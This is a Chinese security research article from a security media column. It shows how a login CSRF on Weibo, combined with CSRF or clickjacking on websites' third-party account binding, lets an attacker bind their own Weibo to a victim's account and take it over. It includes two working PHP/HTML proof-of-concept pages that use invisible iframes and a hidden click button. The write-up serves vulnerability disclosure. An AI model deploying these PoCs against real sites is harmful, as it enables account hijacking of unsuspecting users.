通用性業務邏輯組合拳劫持你的許可權
來自專欄 安全客
前言
這是一個理論上通殺很多大型企業網站的漏洞缺陷~
可能很多朋友點擊來看見標題就覺得,這傢伙在吹牛逼了我倒要看看這貨能怎麼吹,CSRF之登陸我的賬號能有啥玩意危害?
先按奈住你心中不屑的情緒,聽我慢慢道來~
通用業務功能分析
最近很喜歡挖一些通用漏洞(不是程序通用,而是功能通用),會經常拿著BAT三家以及其他一些大型網站進行業務功能點的對比,來看看有哪些是共用的功能點,這邊列出以下的幾條:
- QQ快捷登陸
- 微信快捷登陸
- 微博快捷登陸
- 其他……
OAuth2.0認證缺陷-快捷登陸賬號劫持的問題具體可以參考:http://gh0st.cn/archives/2018-02-12/1(來自i春秋社區)
這種問題其實需要一定的運氣因為很多的快捷登陸有state參數的干擾,所以是完全沒辦法去利用的。
在這裡我嘗試能不能挖到一個新的缺陷,在走正常的快捷登陸流程時我發現需要綁定這個網站的賬號才可以正常的使用用戶的功能,這時候反著想網站的用戶中心是否有第三方的賬號綁定?
這裡找了大部分的網站都有這樣的功能(第三方賬號綁定,綁定了即可使用第三方賬號直接登陸),找到了這個功能點就可以來測試,先走一遍正常的綁定流程:
- 點擊綁定第三方賬號
- 進入第三方賬號綁定頁面
- (如果第三方賬號是登陸狀態)->需要點擊授權按鈕;(如果第三方賬號是未登陸狀態)->需要輸入第三方的賬號密碼登陸->點擊授權按鈕
設立猜想
梳理了流程之後,一個很騷的思路就從腦子裡蹦了出來:
有第三方賬號綁定這個功能,登陸處也有第三方賬號登陸功能,也就是說綁定第三方賬號代表著許可權分享給了第三方賬號。
猜想建立->如果我有第三方賬號所在網站的CSRF之你登陸我的賬號
缺陷,讓受害者先登陸我的第三方賬號(為了避免損失,我可以註冊一個小號),然後綁定處也有CSRF綁定的缺陷或者點擊劫持問題,那麼我就可以讓受害者綁定我的第三方賬號,然後根據我的第三方賬號來登陸受害者的賬號,劫持到其許可權。
驗證猜想
流程
個人中心有這個第三方的賬號綁定:
在這裡QQ、github、微博、微信四個第三方賬號綁定中我有了微博的CSRF之你登陸我的賬號
這個缺陷,所以這裡測試下微博的第三方賬號綁定。
頁面有微博賬號綁定的跳轉鏈接:
通過這個鏈接進入了綁定的界面(未登陸微博):
通過這個鏈接進入了綁定的界面(已登陸微博):
當我授權綁定之後,微博發生了變化,管理中心->我的應用->我的應用:
會多出這個網站在裡面,那麼這個變化是對我們有利的,還是?
這裡我解綁了微博,然後再使用這個已經授權了的微博進行綁定,發現居然不用點擊授權了,直接就綁定了。
很顯然,在這裡這個便利
解決了一些攻擊的利用難度。
實現
我們現在具備的幾個條件:
- 微博的
CSRF之你登陸我的賬號
缺陷:
登陸你的微博,然後訪問http://login.sina.com.cn/sso/crossdomain.php?action=login,會返回這樣的內容給你:
其中arrURL對應的鏈接就是憑證登陸的~
- 你的微博已經授權過了要存在缺陷的網站(這裡方便直接跳轉而不用再去點擊按鈕!所以你可以先用自己的微博綁定下存在缺陷的網站的賬號,然後解綁就行了~)
- 綁定請求存在csrf的缺陷(這裡因為是GET請求類型
/oauth/weibo/redirect
,而一般不會對GET請求類型進行CSRF的限制~~)
場景1.攻擊步驟
對方點開憑證鏈接登陸了你的微博,對方點開綁定微博的鏈接,綁定了你的微博,完成攻擊。
考慮到憑證時效性的問題,在這裡寫了一個動態的PoC:
<?php //get weibo login token$curl = curl_init();$cookie = "你微博的Cookie";curl_setopt($curl, CURLOPT_URL, http://login.sina.com.cn/sso/crossdomain.php?action=login);curl_setopt($curl, CURLOPT_HEADER, 1);curl_setopt($curl, CURLOPT_COOKIE, $cookie);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);$data = curl_exec($curl);curl_close($curl);//echo $data;$t = preg_match(/ticket=(.*?)&sso/, $data, $res);$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";?> <html> <head> <style type="text/css"> .testframe { height: 100%;} iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之後的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/}</style> </head> <body> <div class="testframe"> <iframe id="test0" src="<?php echo $url;?>"></iframe> </div> <script> function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect";}setTimeout("loadsrc()",2000);</script> </body> </html>
場景2.攻擊步驟
有些網站可能是post請求限制了referer或者根本沒有跳轉的請求而是直接進入了微博的綁定界面,因為state參數的原因導致根本無法以這個綁定頁面為鏈接的形式去做攻擊~
可能有很多朋友就有疑問了,為什麼我老是提到state參數?這個參數是幹什麼用的呢?這裡參考下微博的OAuth2.0介面的開發文檔:
http://open.weibo.com/wiki/Oauth2/authorize
是防止CSRF的,也就是說在這裡如果綁定的鏈接是如下這樣子的:
沒有state參數驗證的,那麼你可以直接以此作為綁定鏈接,覆蓋場景1中PoC裡面的這個鏈接:https://gh0st.cn/oauth/weibo/redirect
好了,說了那麼多跟場景2沒用的話,切入主題來說說場景2的情況到底該如何完成攻擊?
很簡單我們可以使用點擊劫持來完成攻擊,如下動態的PoC:
<?php //get weibo login token$curl = curl_init();$cookie = "你微博的Cookie";curl_setopt($curl, CURLOPT_URL, http://login.sina.com.cn/sso/crossdomain.php?action=login);curl_setopt($curl, CURLOPT_HEADER, 1);curl_setopt($curl, CURLOPT_COOKIE, $cookie);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);$data = curl_exec($curl);curl_close($curl);//echo $data;$t = preg_match(/ticket=(.*?)&sso/, $data, $res);$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";?><html><head><style type="text/css"> .testframe { height: 100%;} iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之後的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/}.btn { position: fixed; width: 70px; height: 22px; left: 167px; right: 0; display:block; top: 295px;} </style></head><body><div class="testframe"> <input type="button" class="btn" value="Click"> <iframe id="test0" src="<?php echo $url;?>"></iframe></div><script>function loadsrc(){ document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind";}setTimeout("loadsrc()",2000);</script></body></html>
簡單的說明下這個PoC的用處:
總結
可能把每一項單獨的拎出來會發現這並沒有缺陷,但是一旦參與到了業務邏輯中,就一定會存在一定的問題。
不要忽略一個看似沒危害的漏洞甚至一個缺陷,因為你永遠不知道它能發揮的巨大危害。
本文由安全客原創發布
作者: 啟明星辰(江蘇)-Vulkey_Chen 米斯特安全攻防實驗室
轉載 請註明出處: https://www.anquanke.com/post/id/106961
登錄 安全客 - 有思想的安全新媒體 ,或加入交流群702511263,下載安全客APP來獲取更多最新資訊吧~
安全客 - 有思想的安全新媒體推薦閱讀:
※什麼樣的短視頻最具商業價值?
※深入淺出,增長黑客的本地化應用
※看得「深」、看得「清」 —— 深度學習在圖像超清化的應用
※水印戰爭:抖音快手知乎微博,轉載水印就能看出逼格
※巨頭林立的智能家居萬億市場,被海爾捷足先登!